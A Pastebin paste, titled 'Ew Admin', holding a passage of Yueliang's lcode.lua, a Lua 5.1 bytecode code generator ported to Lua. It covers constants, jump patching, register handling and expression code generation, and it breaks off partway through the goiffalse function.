Alfiebgtbhgh

Ew Admin

Aug 3rd, 2021 (edited)
33
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 219.11 KB | None | 0 0
  1. --[[--------------------------------------------------------------------
  2.  
  3. lcode.lua
  4. Lua 5 code generator in Lua
  5. This file is part of Yueliang.
  6.  
  7. Copyright (c) 2005-2007 Kein-Hong Man <khman@users.sf.net>
  8. The COPYRIGHT file describes the conditions
  9. under which this software may be distributed.
  10.  
  11. See the ChangeLog for more information.
  12.  
  13. ----------------------------------------------------------------------]]
  14.  
  15. --[[--------------------------------------------------------------------
  16. -- Notes:
  17. -- * one function manipulate a pointer argument with a simple data type
  18. -- (can't be emulated by a table, ambiguous), now returns that value:
  19. -- mLuaK:concat(fs, l1, l2)
  20. -- * luaM_growvector uses the faux luaY:growvector, for limit checking
  21. -- * some function parameters changed to boolean, additional code
  22. -- translates boolean back to 1/0 for instruction fields
  23. --
  24. -- Not implemented:
  25. -- * NOTE there is a failed assert in mLuaK:addk, a porting problem
  26. --
  27. -- Added:
  28. -- * constant MAXSTACK from llimits.h
  29. -- * mLuaK:ttisnumber(o) (from lobject.h)
  30. -- * mLuaK:nvalue(o) (from lobject.h)
  31. -- * mLuaK:setnilvalue(o) (from lobject.h)
  32. -- * mLuaK:setnvalue(o, x) (from lobject.h)
  33. -- * mLuaK:setbvalue(o, x) (from lobject.h)
  34. -- * mLuaK:sethvalue(o, x) (from lobject.h), parameter L deleted
  35. -- * mLuaK:setsvalue(o, x) (from lobject.h), parameter L deleted
  36. -- * mLuaK:numadd, mLuaK:numsub, mLuaK:nummul, mLuaK:numdiv, mLuaK:nummod,
  37. -- mLuaK:numpow, mLuaK:numunm, mLuaK:numisnan (from luaconf.h)
  38. -- * copyexp(e1, e2) added in mLuaK:posfix to copy expdesc struct
  39. --
  40. -- Changed in 5.1.x:
  41. -- * enum BinOpr has a new entry, OPR_MOD
  42. -- * enum UnOpr has a new entry, OPR_LEN
  43. -- * binopistest, unused in 5.0.x, has been deleted
  44. -- * macro setmultret is new
  45. -- * functions isnumeral, mLuaK_ret, boolK are new
  46. -- * funcion nilK was named nil_constant in 5.0.x
  47. -- * function interface changed: need_value, patchtestreg, concat
  48. -- * TObject now a TValue
  49. -- * functions mLuaK_setreturns, mLuaK_setoneret are new
  50. -- * function mLuaK:setcallreturns deleted, to be replaced by:
  51. -- mLuaK:setmultret, mLuaK:ret, mLuaK:setreturns, mLuaK:setoneret
  52. -- * functions constfolding, codearith, codecomp are new
  53. -- * mLuaK:codebinop has been deleted
  54. -- * function mLuaK_setlist is new
  55. -- * OPR_MULT renamed to OPR_MUL
  56. ----------------------------------------------------------------------]]
  57.  
  58. -- requires luaP, luaX, luaY
  59. local mLuaK = {}
  60.  
  61. ------------------------------------------------------------------------
  62. -- constants used by code generator
  63. ------------------------------------------------------------------------
  64. -- maximum stack for a Lua function
  65. mLuaK.MAXSTACK = 250 -- (from llimits.h)
  66.  
  67. --[[--------------------------------------------------------------------
  68. -- other functions
  69. ----------------------------------------------------------------------]]
  70.  
  71. ------------------------------------------------------------------------
  72. -- emulation of TValue macros (these are from lobject.h)
  73. -- * TValue is a table since lcode passes references around
  74. -- * tt member field removed, using Lua's type() instead
  75. -- * for setsvalue, sethvalue, parameter L (deleted here) in lobject.h
  76. -- is used in an assert for testing, see checkliveness(g,obj)
  77. ------------------------------------------------------------------------
  78. function mLuaK:ttisnumber(o)
  79. if o then return type(o.value) == "number" else return false end
  80. end
  81. function mLuaK:nvalue(o) return o.value end
  82. function mLuaK:setnilvalue(o) o.value = nil end
  83. function mLuaK:setsvalue(o, x) o.value = x end
  84. mLuaK.setnvalue = mLuaK.setsvalue
  85. mLuaK.sethvalue = mLuaK.setsvalue
  86. mLuaK.setbvalue = mLuaK.setsvalue
  87.  
  88. ------------------------------------------------------------------------
  89. -- The luai_num* macros define the primitive operations over numbers.
  90. -- * this is not the entire set of primitive operations from luaconf.h
  91. -- * used in mLuaK:constfolding()
  92. ------------------------------------------------------------------------
  93. function mLuaK:numadd(a, b) return a + b end
  94. function mLuaK:numsub(a, b) return a - b end
  95. function mLuaK:nummul(a, b) return a * b end
  96. function mLuaK:numdiv(a, b) return a / b end
  97. function mLuaK:nummod(a, b) return a % b end
  98. -- ((a) - floor((a)/(b))*(b)) /* actual, for reference */
  99. function mLuaK:numpow(a, b) return a ^ b end
  100. function mLuaK:numunm(a) return -a end
  101. function mLuaK:numisnan(a) return not a == a end
  102. -- a NaN cannot equal another NaN
  103.  
  104. --[[--------------------------------------------------------------------
  105. -- code generator functions
  106. ----------------------------------------------------------------------]]
  107.  
  108. ------------------------------------------------------------------------
  109. -- Marks the end of a patch list. It is an invalid value both as an absolute
  110. -- address, and as a list link (would link an element to itself).
  111. ------------------------------------------------------------------------
  112. mLuaK.NO_JUMP = -1
  113.  
  114. ------------------------------------------------------------------------
  115. -- grep "ORDER OPR" if you change these enums
  116. ------------------------------------------------------------------------
  117. mLuaK.BinOpr = {
  118. OPR_ADD = 0, OPR_SUB = 1, OPR_MUL = 2, OPR_DIV = 3, OPR_MOD = 4, OPR_POW = 5,
  119. OPR_CONCAT = 6,
  120. OPR_NE = 7, OPR_EQ = 8,
  121. OPR_LT = 9, OPR_LE = 10, OPR_GT = 11, OPR_GE = 12,
  122. OPR_AND = 13, OPR_OR = 14,
  123. OPR_NOBINOPR = 15,
  124. }
  125.  
  126. -- * UnOpr is used by mLuaK:prefix's op argument, but not directly used
  127. -- because the function receives the symbols as strings, e.g. "OPR_NOT"
  128. mLuaK.UnOpr = {
  129. OPR_MINUS = 0, OPR_NOT = 1, OPR_LEN = 2, OPR_NOUNOPR = 3
  130. }
  131.  
  132. ------------------------------------------------------------------------
  133. -- returns the instruction object for given e (expdesc), was a macro
  134. ------------------------------------------------------------------------
  135. function mLuaK:getcode(fs, e)
  136. return fs.f.code[e.info]
  137. end
  138.  
  139. ------------------------------------------------------------------------
  140. -- codes an instruction with a signed Bx (sBx) field, was a macro
  141. -- * used in mLuaK:jump(), (lparser) luaY:forbody()
  142. ------------------------------------------------------------------------
  143. function mLuaK:codeAsBx(fs, o, A, sBx)
  144. return self:codeABx(fs, o, A, sBx + luaP.MAXARG_sBx)
  145. end
  146.  
  147. ------------------------------------------------------------------------
  148. -- set the expdesc e instruction for multiple returns, was a macro
  149. ------------------------------------------------------------------------
  150. function mLuaK:setmultret(fs, e)
  151. self:setreturns(fs, e, luaY.LUA_MULTRET)
  152. end
  153.  
  154. ------------------------------------------------------------------------
  155. -- there is a jump if patch lists are not identical, was a macro
  156. -- * used in mLuaK:exp2reg(), mLuaK:exp2anyreg(), mLuaK:exp2val()
  157. ------------------------------------------------------------------------
  158. function mLuaK:hasjumps(e)
  159. return e.t ~= e.f
  160. end
  161.  
  162. ------------------------------------------------------------------------
  163. -- true if the expression is a constant number (for constant folding)
  164. -- * used in constfolding(), infix()
  165. ------------------------------------------------------------------------
  166. function mLuaK:isnumeral(e)
  167. return e.k == "VKNUM" and e.t == self.NO_JUMP and e.f == self.NO_JUMP
  168. end
  169.  
  170. ------------------------------------------------------------------------
  171. -- codes loading of nil, optimization done if consecutive locations
  172. -- * used in mLuaK:discharge2reg(), (lparser) luaY:adjust_assign()
  173. ------------------------------------------------------------------------
  174. function mLuaK:_nil(fs, from, n)
  175. if fs.pc > fs.lasttarget then -- no jumps to current position?
  176. if fs.pc == 0 then -- function start?
  177. if from >= fs.nactvar then
  178. return -- positions are already clean
  179. end
  180. else
  181. local previous = fs.f.code[fs.pc - 1]
  182. if luaP:GET_OPCODE(previous) == "OP_LOADNIL" then
  183. local pfrom = luaP:GETARG_A(previous)
  184. local pto = luaP:GETARG_B(previous)
  185. if pfrom <= from and from <= pto + 1 then -- can connect both?
  186. if from + n - 1 > pto then
  187. luaP:SETARG_B(previous, from + n - 1)
  188. end
  189. return
  190. end
  191. end
  192. end
  193. end
  194. self:codeABC(fs, "OP_LOADNIL", from, from + n - 1, 0) -- else no optimization
  195. end
  196.  
  197. ------------------------------------------------------------------------
  198. --
  199. -- * used in multiple locations
  200. ------------------------------------------------------------------------
  201. function mLuaK:jump(fs)
  202. local jpc = fs.jpc -- save list of jumps to here
  203. fs.jpc = self.NO_JUMP
  204. local j = self:codeAsBx(fs, "OP_JMP", 0, self.NO_JUMP)
  205. j = self:concat(fs, j, jpc) -- keep them on hold
  206. return j
  207. end
  208.  
  209. ------------------------------------------------------------------------
  210. -- codes a RETURN instruction
  211. -- * used in luaY:close_func(), luaY:retstat()
  212. ------------------------------------------------------------------------
  213. function mLuaK:ret(fs, first, nret)
  214. self:codeABC(fs, "OP_RETURN", first, nret + 1, 0)
  215. end
  216.  
  217. ------------------------------------------------------------------------
  218. --
  219. -- * used in mLuaK:jumponcond(), mLuaK:codecomp()
  220. ------------------------------------------------------------------------
  221. function mLuaK:condjump(fs, op, A, B, C)
  222. self:codeABC(fs, op, A, B, C)
  223. return self:jump(fs)
  224. end
  225.  
  226. ------------------------------------------------------------------------
  227. --
  228. -- * used in mLuaK:patchlistaux(), mLuaK:concat()
  229. ------------------------------------------------------------------------
  230. function mLuaK:fixjump(fs, pc, dest)
  231. local jmp = fs.f.code[pc]
  232. local offset = dest - (pc + 1)
  233. assert(dest ~= self.NO_JUMP)
  234. if math.abs(offset) > luaP.MAXARG_sBx then
  235. luaX:syntaxerror(fs.ls, "control structure too long")
  236. end
  237. luaP:SETARG_sBx(jmp, offset)
  238. end
  239.  
  240. ------------------------------------------------------------------------
  241. -- returns current 'pc' and marks it as a jump target (to avoid wrong
  242. -- optimizations with consecutive instructions not in the same basic block).
  243. -- * used in multiple locations
  244. -- * fs.lasttarget tested only by mLuaK:_nil() when optimizing OP_LOADNIL
  245. ------------------------------------------------------------------------
  246. function mLuaK:getlabel(fs)
  247. fs.lasttarget = fs.pc
  248. return fs.pc
  249. end
  250.  
  251. ------------------------------------------------------------------------
  252. --
  253. -- * used in mLuaK:need_value(), mLuaK:removevalues(), mLuaK:patchlistaux(),
  254. -- mLuaK:concat()
  255. ------------------------------------------------------------------------
  256. function mLuaK:getjump(fs, pc)
  257. local offset = luaP:GETARG_sBx(fs.f.code[pc])
  258. if offset == self.NO_JUMP then -- point to itself represents end of list
  259. return self.NO_JUMP -- end of list
  260. else
  261. return (pc + 1) + offset -- turn offset into absolute position
  262. end
  263. end
  264.  
  265. ------------------------------------------------------------------------
  266. --
  267. -- * used in mLuaK:need_value(), mLuaK:patchtestreg(), mLuaK:invertjump()
  268. ------------------------------------------------------------------------
  269. function mLuaK:getjumpcontrol(fs, pc)
  270. local pi = fs.f.code[pc]
  271. local ppi = fs.f.code[pc - 1]
  272. if pc >= 1 and luaP:testTMode(luaP:GET_OPCODE(ppi)) ~= 0 then
  273. return ppi
  274. else
  275. return pi
  276. end
  277. end
  278.  
  279. ------------------------------------------------------------------------
  280. -- check whether list has any jump that do not produce a value
  281. -- (or produce an inverted value)
  282. -- * return value changed to boolean
  283. -- * used only in mLuaK:exp2reg()
  284. ------------------------------------------------------------------------
  285. function mLuaK:need_value(fs, list)
  286. while list ~= self.NO_JUMP do
  287. local i = self:getjumpcontrol(fs, list)
  288. if luaP:GET_OPCODE(i) ~= "OP_TESTSET" then return true end
  289. list = self:getjump(fs, list)
  290. end
  291. return false -- not found
  292. end
  293.  
  294. ------------------------------------------------------------------------
  295. --
  296. -- * used in mLuaK:removevalues(), mLuaK:patchlistaux()
  297. ------------------------------------------------------------------------
  298. function mLuaK:patchtestreg(fs, node, reg)
  299. local i = self:getjumpcontrol(fs, node)
  300. if luaP:GET_OPCODE(i) ~= "OP_TESTSET" then
  301. return false -- cannot patch other instructions
  302. end
  303. if reg ~= luaP.NO_REG and reg ~= luaP:GETARG_B(i) then
  304. luaP:SETARG_A(i, reg)
  305. else -- no register to put value or register already has the value
  306. -- due to use of a table as i, i cannot be replaced by another table
  307. -- so the following is required; there is no change to ARG_C
  308. luaP:SET_OPCODE(i, "OP_TEST")
  309. local b = luaP:GETARG_B(i)
  310. luaP:SETARG_A(i, b)
  311. luaP:SETARG_B(i, 0)
  312. -- *i = CREATE_ABC(OP_TEST, GETARG_B(*i), 0, GETARG_C(*i)); /* C */
  313. end
  314. return true
  315. end
  316.  
  317. ------------------------------------------------------------------------
  318. --
  319. -- * used only in mLuaK:codenot()
  320. ------------------------------------------------------------------------
  321. function mLuaK:removevalues(fs, list)
  322. while list ~= self.NO_JUMP do
  323. self:patchtestreg(fs, list, luaP.NO_REG)
  324. list = self:getjump(fs, list)
  325. end
  326. end
  327.  
  328. ------------------------------------------------------------------------
  329. --
  330. -- * used in mLuaK:dischargejpc(), mLuaK:patchlist(), mLuaK:exp2reg()
  331. ------------------------------------------------------------------------
  332. function mLuaK:patchlistaux(fs, list, vtarget, reg, dtarget)
  333. while list ~= self.NO_JUMP do
  334. local _next = self:getjump(fs, list)
  335. if self:patchtestreg(fs, list, reg) then
  336. self:fixjump(fs, list, vtarget)
  337. else
  338. self:fixjump(fs, list, dtarget) -- jump to default target
  339. end
  340. list = _next
  341. end
  342. end
  343.  
  344. ------------------------------------------------------------------------
  345. --
  346. -- * used only in mLuaK:code()
  347. ------------------------------------------------------------------------
  348. function mLuaK:dischargejpc(fs)
  349. self:patchlistaux(fs, fs.jpc, fs.pc, luaP.NO_REG, fs.pc)
  350. fs.jpc = self.NO_JUMP
  351. end
  352.  
  353. ------------------------------------------------------------------------
  354. --
  355. -- * used in (lparser) luaY:whilestat(), luaY:repeatstat(), luaY:forbody()
  356. ------------------------------------------------------------------------
  357. function mLuaK:patchlist(fs, list, target)
  358. if target == fs.pc then
  359. self:patchtohere(fs, list)
  360. else
  361. assert(target < fs.pc)
  362. self:patchlistaux(fs, list, target, luaP.NO_REG, target)
  363. end
  364. end
  365.  
  366. ------------------------------------------------------------------------
  367. --
  368. -- * used in multiple locations
  369. ------------------------------------------------------------------------
  370. function mLuaK:patchtohere(fs, list)
  371. self:getlabel(fs)
  372. fs.jpc = self:concat(fs, fs.jpc, list)
  373. end
  374.  
  375. ------------------------------------------------------------------------
  376. -- * l1 was a pointer, now l1 is returned and callee assigns the value
  377. -- * used in multiple locations
  378. ------------------------------------------------------------------------
  379. function mLuaK:concat(fs, l1, l2)
  380. if l2 == self.NO_JUMP then return l1
  381. elseif l1 == self.NO_JUMP then
  382. return l2
  383. else
  384. local list = l1
  385. local _next = self:getjump(fs, list)
  386. while _next ~= self.NO_JUMP do -- find last element
  387. list = _next
  388. _next = self:getjump(fs, list)
  389. end
  390. self:fixjump(fs, list, l2)
  391. end
  392. return l1
  393. end
  394.  
  395. ------------------------------------------------------------------------
  396. --
  397. -- * used in mLuaK:reserveregs(), (lparser) luaY:forlist()
  398. ------------------------------------------------------------------------
  399. function mLuaK:checkstack(fs, n)
  400. local newstack = fs.freereg + n
  401. if newstack > fs.f.maxstacksize then
  402. if newstack >= self.MAXSTACK then
  403. luaX:syntaxerror(fs.ls, "function or expression too complex")
  404. end
  405. fs.f.maxstacksize = newstack
  406. end
  407. end
  408.  
  409. ------------------------------------------------------------------------
  410. --
  411. -- * used in multiple locations
  412. ------------------------------------------------------------------------
  413. function mLuaK:reserveregs(fs, n)
  414. self:checkstack(fs, n)
  415. fs.freereg = fs.freereg + n
  416. end
  417.  
  418. ------------------------------------------------------------------------
  419. --
  420. -- * used in mLuaK:freeexp(), mLuaK:dischargevars()
  421. ------------------------------------------------------------------------
  422. function mLuaK:freereg(fs, reg)
  423. if not luaP:ISK(reg) and reg >= fs.nactvar then
  424. fs.freereg = fs.freereg - 1
  425. assert(reg == fs.freereg)
  426. end
  427. end
  428.  
  429. ------------------------------------------------------------------------
  430. --
  431. -- * used in multiple locations
  432. ------------------------------------------------------------------------
  433. function mLuaK:freeexp(fs, e)
  434. if e.k == "VNONRELOC" then
  435. self:freereg(fs, e.info)
  436. end
  437. end
  438.  
  439. ------------------------------------------------------------------------
  440. -- * TODO NOTE implementation is not 100% correct, since the assert fails
  441. -- * luaH_set, setobj deleted; direct table access used instead
  442. -- * used in mLuaK:stringK(), mLuaK:numberK(), mLuaK:boolK(), mLuaK:nilK()
  443. ------------------------------------------------------------------------
  444. function mLuaK:addk(fs, k, v)
  445. local L = fs.L
  446. local idx = fs.h[k.value]
  447. --TValue *idx = luaH_set(L, fs->h, k); /* C */
  448. local f = fs.f
  449. if self:ttisnumber(idx) then
  450. --TODO this assert currently FAILS (last tested for 5.0.2)
  451. --assert(fs.f.k[self:nvalue(idx)] == v)
  452. --assert(luaO_rawequalObj(&fs->f->k[cast_int(nvalue(idx))], v)); /* C */
  453. return self:nvalue(idx)
  454. else -- constant not found; create a new entry
  455. idx = {}
  456. self:setnvalue(idx, fs.nk)
  457. fs.h[k.value] = idx
  458. -- setnvalue(idx, cast_num(fs->nk)); /* C */
  459. luaY:growvector(L, f.k, fs.nk, f.sizek, nil,
  460. luaP.MAXARG_Bx, "constant table overflow")
  461. -- loop to initialize empty f.k positions not required
  462. f.k[fs.nk] = v
  463. -- setobj(L, &f->k[fs->nk], v); /* C */
  464. -- luaC_barrier(L, f, v); /* GC */
  465. local nk = fs.nk
  466. fs.nk = fs.nk + 1
  467. return nk
  468. end
  469.  
  470. end
  471.  
  472. ------------------------------------------------------------------------
  473. -- creates and sets a string object
  474. -- * used in (lparser) luaY:codestring(), luaY:singlevar()
  475. ------------------------------------------------------------------------
  476. function mLuaK:stringK(fs, s)
  477. local o = {} -- TValue
  478. self:setsvalue(o, s)
  479. return self:addk(fs, o, o)
  480. end
  481.  
  482. ------------------------------------------------------------------------
  483. -- creates and sets a number object
  484. -- * used in mLuaK:prefix() for negative (or negation of) numbers
  485. -- * used in (lparser) luaY:simpleexp(), luaY:fornum()
  486. ------------------------------------------------------------------------
  487. function mLuaK:numberK(fs, r)
  488. local o = {} -- TValue
  489. self:setnvalue(o, r)
  490. return self:addk(fs, o, o)
  491. end
  492.  
  493. ------------------------------------------------------------------------
  494. -- creates and sets a boolean object
  495. -- * used only in mLuaK:exp2RK()
  496. ------------------------------------------------------------------------
  497. function mLuaK:boolK(fs, b)
  498. local o = {} -- TValue
  499. self:setbvalue(o, b)
  500. return self:addk(fs, o, o)
  501. end
  502.  
  503. ------------------------------------------------------------------------
  504. -- creates and sets a nil object
  505. -- * used only in mLuaK:exp2RK()
  506. ------------------------------------------------------------------------
  507. function mLuaK:nilK(fs)
  508. local k, v = {}, {} -- TValue
  509. self:setnilvalue(v)
  510. -- cannot use nil as key; instead use table itself to represent nil
  511. self:sethvalue(k, fs.h)
  512. return self:addk(fs, k, v)
  513. end
  514.  
  515. ------------------------------------------------------------------------
  516. --
  517. -- * used in mLuaK:setmultret(), (lparser) luaY:adjust_assign()
  518. ------------------------------------------------------------------------
  519. function mLuaK:setreturns(fs, e, nresults)
  520. if e.k == "VCALL" then -- expression is an open function call?
  521. luaP:SETARG_C(self:getcode(fs, e), nresults + 1)
  522. elseif e.k == "VVARARG" then
  523. luaP:SETARG_B(self:getcode(fs, e), nresults + 1);
  524. luaP:SETARG_A(self:getcode(fs, e), fs.freereg);
  525. mLuaK:reserveregs(fs, 1)
  526. end
  527. end
  528.  
  529. ------------------------------------------------------------------------
  530. --
  531. -- * used in mLuaK:dischargevars(), (lparser) luaY:assignment()
  532. ------------------------------------------------------------------------
  533. function mLuaK:setoneret(fs, e)
  534. if e.k == "VCALL" then -- expression is an open function call?
  535. e.k = "VNONRELOC"
  536. e.info = luaP:GETARG_A(self:getcode(fs, e))
  537. elseif e.k == "VVARARG" then
  538. luaP:SETARG_B(self:getcode(fs, e), 2)
  539. e.k = "VRELOCABLE" -- can relocate its simple result
  540. end
  541. end
  542.  
  543. ------------------------------------------------------------------------
  544. --
  545. -- * used in multiple locations
  546. ------------------------------------------------------------------------
  547. function mLuaK:dischargevars(fs, e)
  548. local k = e.k
  549. if k == "VLOCAL" then
  550. e.k = "VNONRELOC"
  551. elseif k == "VUPVAL" then
  552. e.info = self:codeABC(fs, "OP_GETUPVAL", 0, e.info, 0)
  553. e.k = "VRELOCABLE"
  554. elseif k == "VGLOBAL" then
  555. e.info = self:codeABx(fs, "OP_GETGLOBAL", 0, e.info)
  556. e.k = "VRELOCABLE"
  557. elseif k == "VINDEXED" then
  558. self:freereg(fs, e.aux)
  559. self:freereg(fs, e.info)
  560. e.info = self:codeABC(fs, "OP_GETTABLE", 0, e.info, e.aux)
  561. e.k = "VRELOCABLE"
  562. elseif k == "VVARARG" or k == "VCALL" then
  563. self:setoneret(fs, e)
  564. else
  565. -- there is one value available (somewhere)
  566. end
  567. end
  568.  
  569. ------------------------------------------------------------------------
  570. --
  571. -- * used only in mLuaK:exp2reg()
  572. ------------------------------------------------------------------------
  573. function mLuaK:code_label(fs, A, b, jump)
  574. self:getlabel(fs) -- those instructions may be jump targets
  575. return self:codeABC(fs, "OP_LOADBOOL", A, b, jump)
  576. end
  577.  
  578. ------------------------------------------------------------------------
  579. --
  580. -- * used in mLuaK:discharge2anyreg(), mLuaK:exp2reg()
  581. ------------------------------------------------------------------------
  582. function mLuaK:discharge2reg(fs, e, reg)
  583. self:dischargevars(fs, e)
  584. local k = e.k
  585. if k == "VNIL" then
  586. self:_nil(fs, reg, 1)
  587. elseif k == "VFALSE" or k == "VTRUE" then
  588. self:codeABC(fs, "OP_LOADBOOL", reg, (e.k == "VTRUE") and 1 or 0, 0)
  589. elseif k == "VK" then
  590. self:codeABx(fs, "OP_LOADK", reg, e.info)
  591. elseif k == "VKNUM" then
  592. self:codeABx(fs, "OP_LOADK", reg, self:numberK(fs, e.nval))
  593. elseif k == "VRELOCABLE" then
  594. local pc = self:getcode(fs, e)
  595. luaP:SETARG_A(pc, reg)
  596. elseif k == "VNONRELOC" then
  597. if reg ~= e.info then
  598. self:codeABC(fs, "OP_MOVE", reg, e.info, 0)
  599. end
  600. else
  601. assert(e.k == "VVOID" or e.k == "VJMP")
  602. return -- nothing to do...
  603. end
  604. e.info = reg
  605. e.k = "VNONRELOC"
  606. end
  607.  
  608. ------------------------------------------------------------------------
  609. --
  610. -- * used in mLuaK:jumponcond(), mLuaK:codenot()
  611. ------------------------------------------------------------------------
  612. function mLuaK:discharge2anyreg(fs, e)
  613. if e.k ~= "VNONRELOC" then
  614. self:reserveregs(fs, 1)
  615. self:discharge2reg(fs, e, fs.freereg - 1)
  616. end
  617. end
  618.  
  619. ------------------------------------------------------------------------
  620. --
  621. -- * used in mLuaK:exp2nextreg(), mLuaK:exp2anyreg(), mLuaK:storevar()
  622. ------------------------------------------------------------------------
  623. function mLuaK:exp2reg(fs, e, reg)
  624. self:discharge2reg(fs, e, reg)
  625. if e.k == "VJMP" then
  626. e.t = self:concat(fs, e.t, e.info) -- put this jump in 't' list
  627. end
  628. if self:hasjumps(e) then
  629. local final -- position after whole expression
  630. local p_f = self.NO_JUMP -- position of an eventual LOAD false
  631. local p_t = self.NO_JUMP -- position of an eventual LOAD true
  632. if self:need_value(fs, e.t) or self:need_value(fs, e.f) then
  633. local fj = (e.k == "VJMP") and self.NO_JUMP or self:jump(fs)
  634. p_f = self:code_label(fs, reg, 0, 1)
  635. p_t = self:code_label(fs, reg, 1, 0)
  636. self:patchtohere(fs, fj)
  637. end
  638. final = self:getlabel(fs)
  639. self:patchlistaux(fs, e.f, final, reg, p_f)
  640. self:patchlistaux(fs, e.t, final, reg, p_t)
  641. end
  642. e.f, e.t = self.NO_JUMP, self.NO_JUMP
  643. e.info = reg
  644. e.k = "VNONRELOC"
  645. end
  646.  
  647. ------------------------------------------------------------------------
  648. --
  649. -- * used in multiple locations
  650. ------------------------------------------------------------------------
  651. function mLuaK:exp2nextreg(fs, e)
  652. self:dischargevars(fs, e)
  653. self:freeexp(fs, e)
  654. self:reserveregs(fs, 1)
  655. self:exp2reg(fs, e, fs.freereg - 1)
  656. end
  657.  
  658. ------------------------------------------------------------------------
  659. --
  660. -- * used in multiple locations
  661. ------------------------------------------------------------------------
  662. function mLuaK:exp2anyreg(fs, e)
  663. self:dischargevars(fs, e)
  664. if e.k == "VNONRELOC" then
  665. if not self:hasjumps(e) then -- exp is already in a register
  666. return e.info
  667. end
  668. if e.info >= fs.nactvar then -- reg. is not a local?
  669. self:exp2reg(fs, e, e.info) -- put value on it
  670. return e.info
  671. end
  672. end
  673. self:exp2nextreg(fs, e) -- default
  674. return e.info
  675. end
  676.  
  677. ------------------------------------------------------------------------
  678. --
  679. -- * used in mLuaK:exp2RK(), mLuaK:prefix(), mLuaK:posfix()
  680. -- * used in (lparser) luaY:yindex()
  681. ------------------------------------------------------------------------
  682. function mLuaK:exp2val(fs, e)
  683. if self:hasjumps(e) then
  684. self:exp2anyreg(fs, e)
  685. else
  686. self:dischargevars(fs, e)
  687. end
  688. end
  689.  
  690. ------------------------------------------------------------------------
  691. --
  692. -- * used in multiple locations
  693. ------------------------------------------------------------------------
  694. function mLuaK:exp2RK(fs, e)
  695. self:exp2val(fs, e)
  696. local k = e.k
  697. if k == "VKNUM" or k == "VTRUE" or k == "VFALSE" or k == "VNIL" then
  698. if fs.nk <= luaP.MAXINDEXRK then -- constant fit in RK operand?
  699. -- converted from a 2-deep ternary operator expression
  700. if e.k == "VNIL" then
  701. e.info = self:nilK(fs)
  702. else
  703. e.info = (e.k == "VKNUM") and self:numberK(fs, e.nval)
  704. or self:boolK(fs, e.k == "VTRUE")
  705. end
  706. e.k = "VK"
  707. return luaP:RKASK(e.info)
  708. end
  709. elseif k == "VK" then
  710. if e.info <= luaP.MAXINDEXRK then -- constant fit in argC?
  711. return luaP:RKASK(e.info)
  712. end
  713. else
  714. -- default
  715. end
  716. -- not a constant in the right range: put it in a register
  717. return self:exp2anyreg(fs, e)
  718. end
  719.  
  720. ------------------------------------------------------------------------
  721. --
  722. -- * used in (lparser) luaY:assignment(), luaY:localfunc(), luaY:funcstat()
  723. ------------------------------------------------------------------------
  724. function mLuaK:storevar(fs, var, ex)
  725. local k = var.k
  726. if k == "VLOCAL" then
  727. self:freeexp(fs, ex)
  728. self:exp2reg(fs, ex, var.info)
  729. return
  730. elseif k == "VUPVAL" then
  731. local e = self:exp2anyreg(fs, ex)
  732. self:codeABC(fs, "OP_SETUPVAL", e, var.info, 0)
  733. elseif k == "VGLOBAL" then
  734. local e = self:exp2anyreg(fs, ex)
  735. self:codeABx(fs, "OP_SETGLOBAL", e, var.info)
  736. elseif k == "VINDEXED" then
  737. local e = self:exp2RK(fs, ex)
  738. self:codeABC(fs, "OP_SETTABLE", var.info, var.aux, e)
  739. else
  740. assert(0) -- invalid var kind to store
  741. end
  742. self:freeexp(fs, ex)
  743. end
  744.  
  745. ------------------------------------------------------------------------
  746. --
  747. -- * used only in (lparser) luaY:primaryexp()
  748. ------------------------------------------------------------------------
  749. function mLuaK:_self(fs, e, key)
  750. self:exp2anyreg(fs, e)
  751. self:freeexp(fs, e)
  752. local func = fs.freereg
  753. self:reserveregs(fs, 2)
  754. self:codeABC(fs, "OP_SELF", func, e.info, self:exp2RK(fs, key))
  755. self:freeexp(fs, key)
  756. e.info = func
  757. e.k = "VNONRELOC"
  758. end
  759.  
  760. ------------------------------------------------------------------------
  761. --
  762. -- * used in mLuaK:goiftrue(), mLuaK:codenot()
  763. ------------------------------------------------------------------------
  764. function mLuaK:invertjump(fs, e)
  765. local pc = self:getjumpcontrol(fs, e.info)
  766. assert(luaP:testTMode(luaP:GET_OPCODE(pc)) ~= 0 and
  767. luaP:GET_OPCODE(pc) ~= "OP_TESTSET" and
  768. luaP:GET_OPCODE(pc) ~= "OP_TEST")
  769. luaP:SETARG_A(pc, (luaP:GETARG_A(pc) == 0) and 1 or 0)
  770. end
  771.  
  772. ------------------------------------------------------------------------
  773. --
  774. -- * used in mLuaK:goiftrue(), mLuaK:goiffalse()
  775. ------------------------------------------------------------------------
  776. function mLuaK:jumponcond(fs, e, cond)
  777. if e.k == "VRELOCABLE" then
  778. local ie = self:getcode(fs, e)
  779. if luaP:GET_OPCODE(ie) == "OP_NOT" then
  780. fs.pc = fs.pc - 1 -- remove previous OP_NOT
  781. return self:condjump(fs, "OP_TEST", luaP:GETARG_B(ie), 0, cond and 0 or 1)
  782. end
  783. -- else go through
  784. end
  785. self:discharge2anyreg(fs, e)
  786. self:freeexp(fs, e)
  787. return self:condjump(fs, "OP_TESTSET", luaP.NO_REG, e.info, cond and 1 or 0)
  788. end
  789.  
  790. ------------------------------------------------------------------------
  791. --
  792. -- * used in mLuaK:infix(), (lparser) luaY:cond()
  793. ------------------------------------------------------------------------
  794. function mLuaK:goiftrue(fs, e)
  795. local pc -- pc of last jump
  796. self:dischargevars(fs, e)
  797. local k = e.k
  798. if k == "VK" or k == "VKNUM" or k == "VTRUE" then
  799. pc = self.NO_JUMP -- always true; do nothing
  800. elseif k == "VFALSE" then
  801. pc = self:jump(fs) -- always jump
  802. elseif k == "VJMP" then
  803. self:invertjump(fs, e)
  804. pc = e.info
  805. else
  806. pc = self:jumponcond(fs, e, false)
  807. end
  808. e.f = self:concat(fs, e.f, pc) -- insert last jump in `f' list
  809. self:patchtohere(fs, e.t)
  810. e.t = self.NO_JUMP
  811. end
  812.  
  813. ------------------------------------------------------------------------
  814. --
  815. -- * used in mLuaK:infix()
  816. ------------------------------------------------------------------------
  817. function mLuaK:goiffalse(fs, e)
  818. local pc -- pc of last jump
  819. self:dischargevars(fs, e)
  820. local k = e.k
  821. if k == "VNIL" or k == "VFALSE"then
  822. pc = self.NO_JUMP -- always false; do nothing
  823. elseif k == "VTRUE" then
  824. pc = self:jump(fs) -- always jump
  825. elseif k == "VJMP" then
  826. pc = e.info
  827. else
  828. pc = self:jumponcond(fs, e, true)
  829. end
  830. e.t = self:concat(fs, e.t, pc) -- insert last jump in `t' list
  831. self:patchtohere(fs, e.f)
